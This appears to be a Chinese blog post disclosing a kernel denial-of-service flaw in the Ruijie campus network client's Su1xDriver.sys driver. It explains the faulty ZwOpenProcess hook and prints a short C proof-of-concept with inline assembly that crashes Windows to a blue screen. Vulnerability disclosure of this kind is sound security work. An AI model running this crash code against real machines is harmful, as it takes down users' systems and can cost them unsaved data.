【推荐】锐捷Su1xDriver.sys 1.0.0.1 内核拒绝服务漏洞

关注

原创最新推荐文章于 2026-03-20 01:43:15 发布 1.9k 阅读 AI 写同款· GEO 优化 ›

锐捷网络设备（交换机、路由器、防火墙）高效运维命令速查手册本文提供了一份详尽的锐捷网络设备（交换机、路由器、防火墙）运维命令速查手册。内容涵盖从基础命令行操作到VLAN、路由、安全策略等核心配置，并重点汇总了设备管理、监控及高效排错（如ping、traceroute、show命令）的常用命令，旨在帮助网络工程师快速上手并提升日常运维与故障处理效率。阅读详情

锐捷Su1xDriver.sys 1.0.0.1 内核拒绝服务漏洞
福州大学采用了星网锐捷的上网客户端，漏洞位于其Su1xDriver.sys内核模块偏移0x1119F处。
锐捷为了保护应用层的SuService.exe，通过其内核模块Su1xDriver.sys hook了SSDT中的ZwOpenProcess函数,但在偏移0x112C0处的代理函数My_OpenProcess中未过滤传递无效句柄，直接调用PsLookupProcessByProcessId函数而导致内核拒绝服务。

蓝屏触发代码如下：

代码:

/*
Test for RuiJie
*/
#include<stdio.h>
#include<windows.h>
HMODULE hMod;
PVOID Func;
int main()
{
    hMod = LoadLibrary("ntdll.dll");
  Func = GetProcAddress(hMod ,"ZwOpenProcess");
  __asm{
    push 0x80000000
    push 0
    push 0
    push 0
    call Func
  }
    return 0;
}

欢迎交流 :-)